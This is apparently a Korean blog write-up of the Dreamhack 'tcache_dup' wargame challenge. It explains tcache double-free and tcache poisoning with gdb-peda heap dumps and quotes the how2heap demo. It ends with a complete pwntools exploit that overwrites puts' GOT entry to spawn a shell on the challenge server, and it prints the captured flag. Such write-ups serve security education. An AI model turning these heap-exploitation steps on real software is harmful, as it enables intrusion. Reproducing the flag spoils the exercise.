Description

    이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다.
    Tcache dup 공격 기법을 이용한 익스플로잇을 성하여 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 18.04
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

    디버깅 실습을 위해 로컬 환경에서는 ubuntu 17.10 환경에서 테스트했다.

    checksec

    seo@ubuntu:~/Documents/tcache_dup$ checksec ./tcache_dup
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/Documents/tcache_dup/tcache_dup'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Source Code

    tcache_dup.c

    // gcc -o tcache_dup tcache_dup.c -no-pie
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    char *ptr[10];
    
    void alarm_handler() {
        exit(-1);
    }
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        signal(SIGALRM, alarm_handler);
        alarm(60);
    }
    
    int create(int cnt) {
        int size;
    
        if (cnt > 10) {
            return -1;
        }
        printf("Size: ");
        scanf("%d", &size);
    
        ptr[cnt] = malloc(size);
    
        if (!ptr[cnt]) {
            return -1;
        }
    
        printf("Data: ");
        read(0, ptr[cnt], size);
    }
    
    int delete() {
        int idx;
    
        printf("idx: ");
        scanf("%d", &idx);
    
        if (idx > 10) {
            return -1;
        }
    
        free(ptr[idx]);
    }
    
    void get_shell() {
        system("/bin/sh");
    }
    
    int main() {
        int idx;
        int cnt = 0;
    
        initialize();
    
        while (1) {
            printf("1. Create\n");
            printf("2. Delete\n");
            printf("> ");
            scanf("%d", &idx);
    
            switch (idx) {
                case 1:
                    create(cnt);
                    cnt++;
                    break;
                case 2:
                    delete();
                    break;
                default:
                    break;
            }
        }
    
        return 0;
    }

    tcache poisoning

    기본적으로 크기가 64비트에서는 1032 byte이하의 사이즈가 할당되었을때 tcache에 할당된다.

    [그림]의 왼쪽은 alloc 청크, 오른쪽은 free된 청크을 나타낸다.
    확인해보면 alloc 청크에서는 data가 있는 반면, free 청크에서는 fd, bk가 있다.
    만약 어떤 청크가 alloc 청크인지 free 청크인지, 구분없이 중첩된 상태라면 어떻게 되는지 알아보자.

    똑같은 메모리를 2번 해제해보면,

    from pwn import *
    warnings.filterwarnings('ignore')
    
    p = process('./tcache_dup')
    
    # malloc 8bytes and filled with AAAA...
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(b"A"*8)
    
    #free twice
    for i in range(2):
        p.recvuntil("> ")
        p.sendline("2")
        p.recvuntil("idx: ")
        p.sendline("0")
    pause()
    gdb-peda$ heapinfoall
    ===================  Thread 1  ===================
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x602270 (size : 0x20d90)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](2): 0x602260 --> 0x602260 (overlap chunk with 0x602250(freed) )
    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk
    0x602000            0x0                 0x250                Used                None              None
    0x602250            0x0                 0x20                 Freed           0x602260              None
    gdb-peda$ p *(tcache_entry *)0x602260
    $1 = {
      next = 0x602260
    }
    gdb-peda$ p *(struct malloc_chunk *)0x602250
    $2 = {
      mchunk_prev_size = 0x0,
      mchunk_size = 0x21,
      fd = 0x602260,
      bk = 0x0,
      fd_nextsize = 0x0,
      bk_nextsize = 0x20d91
    }

    tcache_entry를 확인하면 [그림]과 같이 자기 자신을 next 포인터로 가리키기 때문에
    tcache Duplication이 발생했다.

    따라서, 청크는 중첩상태가 되었다.

    그 상태에서 이번에는 할당 과정을 수행,
    그러니까 이전과 같은 크기로 힙을 할당하고 데이터로 [임의의 주소]인 BBBB…를 입력해보면,

    #malloc 8bytes and filled with BBBB...
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send("B"*8)
    pause()
    gdb-peda$ heapinfoall
    ===================  Thread 1  ===================
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x602270 (size : 0x20d90)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](1): 0x602260 --> 0x4242424242424242 (invaild memory)
    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk
    0x602000            0x0                 0x250                Used                None              None
    0x602250            0x0                 0x20                 Freed 0x4242424242424242              None
    gdb-peda$ p *(tcache_entry *)0x602260
    $1 = {
      next = 0x4242424242424242
    }
    gdb-peda$ p *(struct malloc_chunk *)0x602250
    $2 = {
      mchunk_prev_size = 0x0,
      mchunk_size = 0x21,
      fd = 0x4242424242424242,
      bk = 0x0,
      fd_nextsize = 0x0,
      bk_nextsize = 0x20d91
    }

     next 포인터가 BBBB…와 같이 [임의의 주소]로 바뀐다.

    할당 과정임에도 0x602260 주소가 청크로부터 할당되는 것이 아니라
    next 포인터에 [임의의 주소]가 연결됐다.

    DFB에 의해 청크가 중첩 상태였기 때문에 할당을 해도 해제한 것과 같은 결과가 도출된 것이다.

    이와 같이 tcache에 저장된 주소를 조작하는 공격을 “Tcache Poisoning“이라고 한다.

    이 상태에서 한번 더 이전과 같은 크기로 힙을 할당하고 데이터를 입력해보면

    #malloc 8bytes and filled with CCCC...
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(b"C"*8)
    pause()
    gdb-peda$ heapinfoall
    ===================  Thread 1  ===================
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x602270 (size : 0x20d90)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](0): 0x4242424242424242 (invaild memory)

    변경된 next chunk의 주소인 BBBB…가 tcache entry에 들어가게 되는데,

    이후에 다시 한번 더 같은 8바이트 크기로 할당하려고 하면,

    #malloc 8bytes and filled with DDDD...
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(b"D"*8)
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    RAX: 0x602010 --> 0x0
    RBX: 0x0
    RCX: 0x602010 --> 0x0
    RDX: 0x4242424242424242 ('BBBBBBBB')
    RSI: 0x1
    RDI: 0x8
    RBP: 0x8
    RSP: 0x7fffffffe410 --> 0x0
    RIP: 0x7ffff7a8403b (<__GI___libc_malloc+395>:  mov    rsi,QWORD PTR [rdx])
    R8 : 0x0
    R9 : 0x400bdd --> 0x203a6174614400 ('')
    R10: 0xa ('\n')
    R11: 0x0
    R12: 0xffffffffffffffb0
    R13: 0x7fffffffe550 --> 0x1
    R14: 0x0
    R15: 0x0
    EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff7a8402b <__GI___libc_malloc+379>:     je     0x7ffff7a83f06 <__GI___libc_malloc+86>
       0x7ffff7a84031 <__GI___libc_malloc+385>:     cmp    rbx,0x3f
       0x7ffff7a84035 <__GI___libc_malloc+389>:     ja     0x7ffff7a8410d <__GI___libc_malloc+605>
    => 0x7ffff7a8403b <__GI___libc_malloc+395>:     mov    rsi,QWORD PTR [rdx]
       0x7ffff7a8403e <__GI___libc_malloc+398>:     mov    QWORD PTR [rcx+0x40],rsi
       0x7ffff7a84042 <__GI___libc_malloc+402>:     sub    BYTE PTR [rax+rbx*1],0x1
       0x7ffff7a84046 <__GI___libc_malloc+406>:     pop    rbx
       0x7ffff7a84047 <__GI___libc_malloc+407>:     mov    rax,rdx
    [------------------------------------stack-------------------------------------]

    위와 같이 충돌이 발생한다.

    rdx 레지스터를 확인해보면,
    이전에 입력했던 BBBB… 데이터는 유효하지 않은 메모리 주소를 가리키기 때문에 충돌이 발생한다.

    BBBB… 데이터를 [email protected]로 바꾸고 다시 실행해보면,

    Program received signal SIGSEGV, Segmentation fault.
    ...
    [-------------------------------------code-------------------------------------]
       0x400730 <free@plt>: jmp    QWORD PTR [rip+0x2008e2]        # 0x601018
       0x400736 <free@plt+6>:       push   0x0
       0x40073b <free@plt+11>:      jmp    0x400720
    => 0x400740 <puts@plt>: jmp    QWORD PTR [rip+0x2008da]        # 0x601020
     | 0x400746 <puts@plt+6>:       push   0x1
     | 0x40074b <puts@plt+11>:      jmp    0x400720
     | 0x400750 <__stack_chk_fail@plt>:     jmp    QWORD PTR [rip+0x2008d2]        # 0x601028
     | 0x400756 <__stack_chk_fail@plt+6>:   push   0x2
     |->   Cannot evaluate jump destination
                                                                      JUMP is taken
    ...
    Stopped reason: SIGSEGV
    0x0000000000400740 in puts@plt ()
    ...
    gdb-peda$ x/gx 0x601020
    0x601020:       0x4444444444444444

    [email protected] 주소에 있는 데이터가 DDDD.. 로 덮어씌워진 것을 알 수 있다.
    여기서 DDDD..가 아닌 get_shell 주소인 0x400ab0으로 덮어씌우면 쉘을 획득할 수 있다.

    tcache_dup

    요약:
    Double free 등을 이용하여 tcache에 같은 청크를 2번 이상 연결시키는 기법.
    tcache_entry를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법.

    예제코드:
    https://github.com/shellphish/how2heap/blob/master/obsolete/glibc_2.27/tcache_dup.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <assert.h>
    
    int main()
    {
    	printf("This file demonstrates a simple double-free attack with tcache.\n");
    
    	printf("Allocating buffer.\n");
    	int *a = malloc(8);
    
    	printf("malloc(8): %p\n", a);
    	printf("Freeing twice...\n");
    	free(a);
    	free(a);
    
    	printf("Now the free list has [ %p, %p ].\n", a, a);
    	void *b = malloc(8);
    	void *c = malloc(8);
    	printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c);
    
    	assert((long)b == (long)c);
    	return 0;
    }
    seo@ubuntu:~/Documents/tcache_dup/test$ gcc -o tcache_dup tcache_dup.c
    seo@ubuntu:~/Documents/tcache_dup/test$ ./tcache_dup
    This file demonstrates a simple double-free attack with tcache.
    Allocating buffer.
    malloc(8): 0x5638a972a670
    Freeing twice...
    Now the free list has [ 0x5638a972a670, 0x5638a972a670 ].
    Next allocated buffers will be same: [ 0x5638a972a670, 0x5638a972a670 ].

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    warnings.filterwarnings('ignore')
    
    #p = process('./tcache_dup')
    p = remote("host3.dreamhack.games",9745)
    
    # malloc 8bytes and filled with AAAA...
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(b"A"*8)
    
    #free twice
    for i in range(2):
        p.recvuntil("> ")
        p.sendline("2")
        p.recvuntil("idx: ")
        p.sendline("0")
    
    #Set 0x601020(puts.got.plt) to tcache entry point
    #(0x20)   tcache_entry[0](1): 0x602260 --> 0x601020 (overlap chunk with 0x602250(freed) )
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(p64(0x601020))   #puts.got.plt
    
    #Make tcache_entry[0](0): 0x601020
    #(0x20)   tcache_entry[0](0): 0x601020 --> 0x7ffff7a6d460 (overlap chunk with 0x601010(freed) )
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(b"B"*8)
    
    #Overwrite get_shell address to puts.got.plt
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline("8")
    p.recvuntil("Data: ")
    p.send(p64(0x400ab0))   #get_shell
    
    p.interactive()

    Result

    seo@ubuntu:~/Documents/tcache_dup$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9745: Done
    [*] Switching to interactive mode
    $ ls
    flag
    tcache_dup
    $ cat flag
    DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}

    Reference

    https://keyme2003.tistory.com/entry/dreamhack-Tcache-Poisoning

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다